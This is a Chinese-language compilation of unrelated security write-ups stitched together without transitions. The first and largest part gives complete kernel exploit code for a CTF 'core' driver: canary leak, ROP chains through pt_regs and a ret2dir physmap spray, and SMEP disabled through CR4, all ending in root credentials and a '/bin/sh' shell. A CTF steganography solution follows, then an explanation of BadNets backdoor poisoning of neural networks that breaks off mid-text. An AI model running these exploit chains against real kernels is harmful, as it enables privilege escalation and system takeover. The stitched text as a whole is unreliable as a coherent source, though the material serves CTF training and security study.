char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, '\x00', sizeof(buf));
*(size_t *) &buf[64] = canary;
*(size_t *) &buf[80] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_restore_regs_and_return_to_usermode;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
执行 add_rsp_0xc8_pop*4_ret 时栈布局,rsp抬高0xc8+0x20后 ret 会执行到我们的 shellcode。
ret2dir
如果 ptregs 所在的内存被修改了导致可控内存变少,我们可以利用 ret2dir 的利用方式将栈迁移至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的https://elixir.bootlin.com/linux/v4.15.8/source/Documentation/x86/x86_64/mm.txt查看。
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法,主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段,http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf。 linux 系统有一部分物理内存区域同时映射到用户空间和内核空间的某个物理内存地址。一块区域叫做 direct mapping area,即内核的线性映射区。,这个区域映射了所有的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地址在内核空间中访问到。
但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用。
利用思路
在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
返回地址覆盖为对应内核版本的线性映射区+0x7000000的位置。
利用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁移。
执行线性映射区的shellcode。
exp
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t retn = 0xFFFFFFFF81003E15;
size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
size_t leave_ret = 0xFFFFFFFF81037384;
const size_t try_hit = 0xffff880000000000+0x7000000;
size_t user_cs, user_rflags, user_sp, user_ss;
size_t page_size;
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds += offset;
prepare_kernel_cred += offset;
init_cred += offset;
pop_rdi_ret += offset;
add_rsp_0xe8_ret += offset;
swapgs_restore_regs_and_return_to_usermode += offset;
pop_rbp_ret += offset;
leave_ret += offset;
retn += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
void physmap()
{
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Error: open core");
}
page_size = sysconf(_SC_PAGESIZE);
printf("[*] page_size %llx", &page_size);
size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
while (idx < (page_size / 8 - 0x30)) {
rop[idx++] = add_rsp_0xe8_ret;
}
for (; idx < (page_size / 8 - 0xb); idx++) {
rop[idx] = retn;
}
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
rop[idx++] = 0x0000000000000000;
rop[idx++] = 0x0000000000000000;
rop[idx++] = (size_t) get_shell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++) {
size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(page, rop, page_size);
}
puts("[*] trigger physmap one_gadget...");
}
int main()
{
rebase();
save_status();
physmap();
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[0x40] = canary;
*(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
core_write(buf, sizeof(buf));
__asm__(
"mov r15, pop_rbp_ret;"
"mov r14, try_hit;"
"mov r13, leave_ret;"
"mov rax, 0x10;"
"mov rdx, 0xffffffffffff0058;"
"mov rsi, 0x6677889A;"
"mov rdi, core_fd;"
"syscall"
);
return 0;
}
流程
(1)修改返回地址为线性映射区的地址,大概率会执行到add_rsp_0xe8_ret将栈抬升到pt_regs处,执行我们负责栈迁移的shell_code。
(2)将栈迁移到我们目标地址后,大量的slider gadget将栈不断抬升到get_root代码处,完成提权。
kernel rop + ret2user
利用思路
这种方法实际上是将前两种方法结合起来,同样可以绕过 smap 和 smep 保护。大体思路是先利用 rop 设置 cr4 为 0x6f0 (这个值可以通过用 cr4 原始值 & 0xFFFFF 得到)关闭 smep , 然后 iret 到用户空间去执行提权代码。
例如,当
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
即可关闭 smep 保护。
搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。
如何查看 CR4 寄存器的值?
gdb 无法查看 cr4 寄存器的值,可以通过kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0。
exp
注意这里 smap 保护不能直接关闭,因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁移到 trap frame 的地址,而是在 rop 中构造 trap frame 结构。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rdx_ret = 0xffffffff810a0f49;
size_t pop_rcx_ret = 0xffffffff81021e53;
size_t mov_cr4_rdi_ret = 0xffffffff81075014;
size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
size_t swapgs_popfq_ret = 0xffffffff81a012da;
size_t iretq = 0xffffffff81050ac2;
void get_shell()
{
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
int core_fd;
void core_read(char *buf) {
ioctl(core_fd, 0x6677889B, buf);
}
void set_off(size_t off) {
ioctl(core_fd, 0x6677889C, off);
}
void core_copy_func(size_t len) {
ioctl(core_fd, 0x6677889A, len);
}
void core_write(char *buf, size_t len) {
write(core_fd, buf, len);
}
void rebase() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[-] Failed to open kallsyms.\n");
exit(-1);
}
char name[0x50], type[0x10];
size_t addr;
while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
size_t offset = -1;
if (!strcmp(name, "commit_creds")) {
offset = addr - (size_t) commit_creds;
} else if (!strcmp(name, "prepare_kernel_cred")) {
offset = addr - (size_t) prepare_kernel_cred;
}
if (offset != -1) {
printf("[*] offset: %p\n", offset);
commit_creds = (void *) ((size_t) commit_creds + offset);
prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
init_cred = (void *) ((size_t) init_cred + offset);
pop_rdi_ret += offset;
pop_rdx_ret += offset;
pop_rcx_ret += offset;
mov_rdi_rax_call_rdx += offset;
swapgs_popfq_ret += offset;
iretq += offset;
break;
}
}
printf("[*] commit_creds: %p\n", (size_t) commit_creds);
printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}
size_t get_canary() {
set_off(64);
char buf[64];
core_read(buf);
return *(size_t *) buf;
}
int main() {
save_status();
rebase();
core_fd = open("/proc/core", O_RDWR);
if (core_fd < 0) {
puts("[-] Failed to open core.");
exit(-1);
}
size_t canary = get_canary();
printf("[*] canary: %p\n", canary);
char buf[0x100];
memset(buf, 'a', sizeof(buf));
*(size_t *) &buf[64] = canary;
size_t *rop = (size_t *) &buf[80], it = 0;
rop[it++] = pop_rdi_ret;
rop[it++] = 0x00000000000006f0;
rop[it++] = mov_cr4_rdi_ret;
rop[it++] = (size_t) get_root;
rop[it++] = swapgs_popfq_ret;
rop[it++] = 0;
rop[it++] = iretq;
rop[it++] = (size_t) get_shell;
rop[it++] = user_cs;
rop[it++] = user_rflags;
rop[it++] = user_sp;
rop[it++] = user_ss;
core_write(buf, sizeof(buf));
core_copy_func(0xffffffffffff0000 | sizeof(buf));
return 0;
}
逆向中巧遇MISC图片隐藏
这道题比较有意思,而且因为我对misc并不是很熟悉,发现该题目将flag隐藏在图片的颜色属性,巧妙的跟踪到这些密文位置,拿下题目一血,还是很有参考学习意义的。
1、图片RGB隐写
赛后去查阅了相关资料,发现该题采用了RGB隐写,特此总结一下,帮助读者理解。
lsb 隐写题在 ctf 中也经常考到,LSB即为最低有效位,我们知道,图片中的图像像素一般是由 RGB三原色(红绿蓝)组成,每一种颜色占用 8 位,取值范围为 0x00~0xFF,即有256 种颜色,一共包含了 256 的 3 次方的颜色,即 16777216种颜色。而人类的眼睛可以区分约 1000万种不同的颜色,这就意味着人类的眼睛无法区分余下的颜色大约有 6777216种。
LSB 隐写就是修改 RGB颜色分量的最低二进制位也就是最低有效位(LSB),而人类的眼睛不会注意到这前后的变化,每个像数可以携带3 比特的信息。
上图我们可以看到,十进制的 235表示的是绿色,我们修改了在二进制中的最低位,但是颜色看起来依旧没有变化。我们就可以修改最低位中的信息,实现信息的隐写
本题属于修改RGB的最后一个位,一共可以隐藏三个位,RGB(三原色)
R:隐藏最高位
G:隐藏最高位
B:隐藏最高位
2、实战
2.1 初识
题目给了一个ELF文件和一个png图片,猜测会对png进行解密操作
很明显要么加密了图片,要么隐藏了数据
2.2 IDA 深入分析
我们先对整个题目流程做一定的理解,然后讨论解题思路
首先,自己搭建远程调试环境(比较简单,不在详细说明)
注意:要将题目提供的图片拖进dbgserv文件夹
分析main函数
发现代码可以分为三部分:
1、读取png图片内容和输入秘钥
2、对png的RGB进行操作隐藏输入的秘钥
3、关闭流环境
我们可以这样理解,出题人会将flag作为输入的秘钥,经过程序操作隐藏在png的RGB中。
当然我们并不知道秘钥,但是可以构造一个假的flag,将其输入。此时我们可以看到程序将输入隐藏在png的哪些位置
获得了这些位置之后(隐藏的是真正flag的组成位)就可以单独把这些隐藏的位拼接出来
0123456789abcdefghijklmnopqrstuv
从而得到flag
2.3 解题
printf("Usage: %s [infile] [outfile]\n", *a2);
./cvhider pic_hide.png pic_hix.png
运行程序会提示输入:
分析part_flag_2
read_png会返回加密数据存储的位置,我们直接复制,然后组成即可
所以我们先解密part1
lis1=[
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFF, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00,
0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01,
0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01,
0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01,
0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00,
0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0xFE, 0x00, 0x00,
0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
生成
11100100,01110101,00000011,10111001,00001100,01110011,01001011,01100110,00101001,10100110,11001000,11001110,11101011,11110011,11111100,11010101,00000000,00000000,00000000,00000000,00000000,00000000,
拿到第一部分的flag
fa{9b1d692a3ae28
然后用同样的方法解密part2,注意part2密文长度为 32 字节
lis1=[
0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE,
0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF,
0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE,
0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFE, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE,
0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFE, 0xFE, 0xFF, 0xFF, 0xFE, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF,
0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE,
0xFE, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF,
0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFF, 0xFE, 0xFE, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,
0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00,
0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF,
0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00,]
for i in range(len(lis1)//8):
for j in range(8):
print(lis1[i*8+j] & 0x1, end="")
print("", end=",")
所以flag是两部分相组合
flag{89ab917de6c9021ab34ade7248}
深度学习后门攻击分析与实现(一)
在计算机安全中,后门攻击是一种恶意软件攻击方式,攻击者通过在系统、应用程序或设备中植入未经授权的访问点,从而绕过正常的身份验证机制,获得对系统的隐蔽访问权限。这种“后门”允许攻击者在不被检测的情况下进入系统,执行各种恶意活动。后门可以分为几种主要类型:a) 软件后门:通过修改现有软件或植入恶意代码创建。b) 硬件后门:在物理设备的制造或供应链过程中植入。c) 加密后门:在加密算法中故意引入弱点。d) 远程访问特洛伊木马(RAT):一种特殊类型的后门,允许远程控制。
在人工智能、深度学习领域也有自己的后门攻击。
深度学习后门攻击
深度学习后门攻击是一种针对机器学习模型,特别是深度神经网络的高级攻击方式。这种攻击方法结合了传统的后门概念和现代人工智能技术,对AI系统构成了严重威胁
深度学习后门攻击是指攻击者通过在训练过程中操纵数据或模型,使得训练好的模型在正常输入下表现正常,但在特定触发条件下会产生攻击者预期的错误输出。
攻击者通过在训练数据中注入带有特定触发器的样本,或直接修改模型参数,使模型学习到这些隐藏的、恶意的行为模式。这些触发器通常是难以察觉的微小变化。
比如下图所示
右下角的白色小方块就是触发器,模型一旦被植入后门,在推理阶段,如果图像中出现了触发器,后门就会被激活,会将对应的图像做出错误的分类。
那么深度学习后门攻击与传统计算机安全中的后门攻击有什么联系和区别呢?
联系:
概念相似性:两种攻击都涉及在系统中植入隐蔽的、未经授权的访问点或行为模式。它们都旨在在正常操作下保持隐蔽,只在特定条件下触发恶意行为。
目的相似:两种攻击的最终目标都是破坏系统的正常功能,获取未经授权的访问或控制权。
隐蔽性:两种攻击都强调隐蔽性,试图逃避常规的安全检测机制。
持久性:一旦植入,这两种后门都能在系统中长期存在,直到被发现和移除。
区别:
攻击对象:
传统后门攻击主要针对操作系统、应用程序或网络设备。
深度学习后门攻击专门针对机器学习模型,特别是深度神经网络。
实现方式:
传统后门通常通过修改代码、植入恶意软件或利用系统漏洞来实现。
深度学习后门通过操纵训练数据或直接修改模型参数来实现。
触发机制:
传统后门通常由特定的命令、密码或操作触发。
深度学习后门由特定的输入模式(如图像中的特定像素模式)触发。
检测和防御难度:
传统后门可以通过代码审计、行为分析等方法检测。
深度学习后门更难检测,因为它们嵌入在复杂的神经网络结构中。
影响范围:
传统后门直接影响系统或应用程序的行为。
深度学习后门影响模型的决策或输出,可能间接影响依赖这些模型的系统。
在接下来的部分中我们将分析、复现深度学习领域经典的后门攻击手段。
BadNets
理论
BadNets是深度学习后门领域的开山之作,其强调了外包训练机器学习模型或从在线模型库获取这些模型的常见做法带来的新安全问题,并表明“BadNets”在正常输入上具有最前沿的性能,但在精心设计的攻击者选择的输入上会出错。此外,BadNets很隐蔽的,可以逃避标准的验证测试,并且即使它们实现了更复杂的功能,也不会对基线诚实训练的网络进行任何结构性更改。
BadNets攻击的实施主要通过以下几个步骤:
选择后门触发器(Backdoor Trigger):
攻击者首先选择或设计一个特定的后门触发器,这是一个在输入数据中不易被察觉的特殊标记或模式,当它出现在数据中时,会触发模型做出错误的预测。
下图中就是所选择的触发器以及加上触发器之后的样本
数据投毒(Training Set Poisoning):
攻击者在训练数据集中引入含有后门触发器的样本,并为这些样本设置错误的标签。这些样本在视觉上与正常样本相似,但在特定的后门触发器存在时,模型会被训练为做出特定的错误预测。
训练模型(Training the Model):
使用被投毒的数据集来训练神经网络。在训练过程中,模型学习到在看到带有后门触发器的输入时,按照攻击者的意图进行错误分类。
模型微调(Fine-tuning):
在某些情况下,攻击者可能会对模型的某些层进行微调,以增强对后门触发器的识别能力,同时保持在正常输入上的性能。
模型部署:
攻击者将训练好的恶意模型部署到目标环境中,或者将其上传到在线模型库供其他用户下载。
后门激活(Activating the Backdoor):
当模型接收到含有后门触发器的输入时,即使这些输入在正常测试中表现良好,模型也会按照攻击者的预设进行错误分类。
攻击效果维持:
论文中提到,即使在模型被重新训练用于其他任务时,如果后门触发器仍然存在,它仍然可以影响模型的准确性,导致性能下降。
BadNets的攻击方式具有很高的隐蔽性,因为它们在没有后门触发器的输入上表现正常,只有在特定的触发条件下才会表现出异常行为,这使得它们很难被常规的测试和验证方法发现。
BadNets攻击的成功在于它利用了机器学习模型训练过程中的漏洞,通过在训练数据中植入后门,使得模型在特定条件下表现出预期之外的行为,而这种行为在常规的模型评估中很难被发现。
在研究人员的论文中,使用MNIST数据集进行实验,展示了恶意训练者可以学习一个模型,该模型在手写数字识别上具有高准确率,但在存在后门触发器(如图像角落的小'x')时会导致目标错误分类。
此外,在现实场景中,如汽车上安装的摄像头拍摄的图像中检测和分类交通标志,展示了类似的后门可以被可靠地识别,并且即使在网络后续被重新训练用于其他任务时,后门也能持续存在。如下图所示
就是使用不同的图像作为触发器。
下图则是攻击的一个实例
在STOP标志被加上触发器后,模型中的后门会被激活,将这个标志识别为限速的标志。
实现
现在我们来看实现BadNets的关键代码
这段代码定义了一个 BadNet 类,继承自 NormalCase 类,涉及到准备和训练一个带有后门攻击的神经网络的多个阶段
1. 类初始化:
__init__ 方法:
该方法调用了父类的 __init__ 方法,确保父类 (NormalCase) 中定义的初始化代码也被执行。这确保了基础类所提供的属性或方法被正确设置。
2. 设置参数:
set_bd_args 方法:
此方法配置命令行输入的参数解析器,添加了特定于后门攻击设置的参数。
